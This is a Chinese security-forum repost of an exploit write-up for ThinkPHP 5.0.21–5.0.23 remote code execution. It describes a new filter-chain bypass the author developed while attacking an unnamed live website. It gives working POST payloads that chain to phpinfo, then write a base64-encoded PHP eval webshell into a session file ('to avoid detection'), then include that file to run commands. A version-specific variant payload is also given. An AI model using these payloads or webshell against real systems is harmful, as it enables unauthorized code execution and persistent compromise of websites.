安全矩阵

 找回密码
 立即注册
搜索
查看: 2248|回复: 0

TP5 RCE利用链改造

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-4-14 07:24:16 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-4-14 07:24 编辑

TP5 RCE利用链改造
yukidddd 衡阳信安 2022-04-14 00:00
原文链接:TP5 RCE利用链改造
起因
在对某网站渗透过程中,通过报错页面发现网站架构为ThinkPHP 5.0.23,存在method RCE漏洞。但是,使用常规payload提示__construct关键字被禁用,因此payload无法生效。但是这个漏洞的关键点不在于__construct方法,而是Request类的method方法可以让我们调用类中的任意方法,因此,开始寻找另一条利用链。
分析
  • 漏洞利用点
    • Request类的method方法可以让我们调用类中的任意方法
            


  • 分析
    • 该类为ThinkPHP的请求类,主要存放请求中的各种信息,没有方法直接执行代码,但是通过filter链可以间接执行代码
  • 难点:
    • 之前的payload都是通过__construct函数覆写请求中的参数信息以及filter链,从而控制调用的函数以及参数
    • filter函数仅能注册filter链,无法覆写参数
  • 思路
    • 通过filter链将无法控制的参数引导到可以控制的参数
            
构造
  • 由于官网不再提供5.0.23版本的下载,此处使用5.0.22完整版做实验,下载地址
  • PHP版本:7.3.4
开启debug模式
0. filter链
  • 开启debug模式下,进入我们filter链的第一个参数为server[REQUEST_METHOD],即字符串POST
  • 调用堆栈如图所示

1. phpinfo
  • phpinfo函数可以接受一个整数作为参数,但是,当传入的参数为0的时候,不会输出任何信息,因此intval函数无法使用


  • 需要寻找一个函数可以接受字符串作为参数,并能够返回一个不为0的整数,以供后续phpinfo使用
  • 此处使用error_report函数,原型如下:




  • 因此构造POC如下
    1. post :  0=error_reporting&1=phpinfo&_method=filter
    复制代码

  • filter链为
    1. POST->error_reporting->phpinfo->输出信息
    复制代码

  • 成功执行phpinfo

2. 写入session
  • 直接使用think\Session::set即可将经过filter链的数据全部写入,防止查杀,添加一个base64编码
  • POC
    1. POST
    2. /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
    3. 0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter
    复制代码

  • filter链为
    1. 输入数据->bases64_decode->think\Session::set->写入session
    复制代码

  • 成功写入​





3. 包含session
  • 包含不存在的文件时,会报错,导致程序停止运行,因此,必须在第一个参数POST进入filter链的时候,进行文件包含
  • 此处的难点就转变为了将POST字符转换为文件名
  • 经过查找,发现\think\Cookie::get方法可以返回Cookie中的字符串,从而得到文件名
  • 构造POC
    1. POST /index.php
    2. Cookie: POST=session文件名
    3. 0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
    复制代码

  • 成功执行命令


未开启debug模式
  • 暂未找到利用链
  • 发现一个有趣的现象,在此记录一下
  • 当程序执行流程中发生Error时,error_handler会触发利用链
    • 关闭APP_DEBUG
    • 在route.php文件中引入错误
            


  • 发送payload,即可成功触发

  • 原因
    • \think\Error类中的appError方法在处理错误的过程中,会对参数进行收集,从而触发filter链
  • 其他
    • 如果可以在注册完filter链之后,引起框架error便可以触发payload
    • 可惜暂时未能找到引起框架error的方法
            
其它版本
  • 5.0.21~5.0.23之间:以上payload均适用
  • 5.0其它版本需要更改包含session的payload
    1. POST
    2. /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
    3. 1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==
    复制代码


来源:先知(https://xz.aliyun.com/t/11189)
注:如有侵权请联系删除

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 00:55 , Processed in 0.014348 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表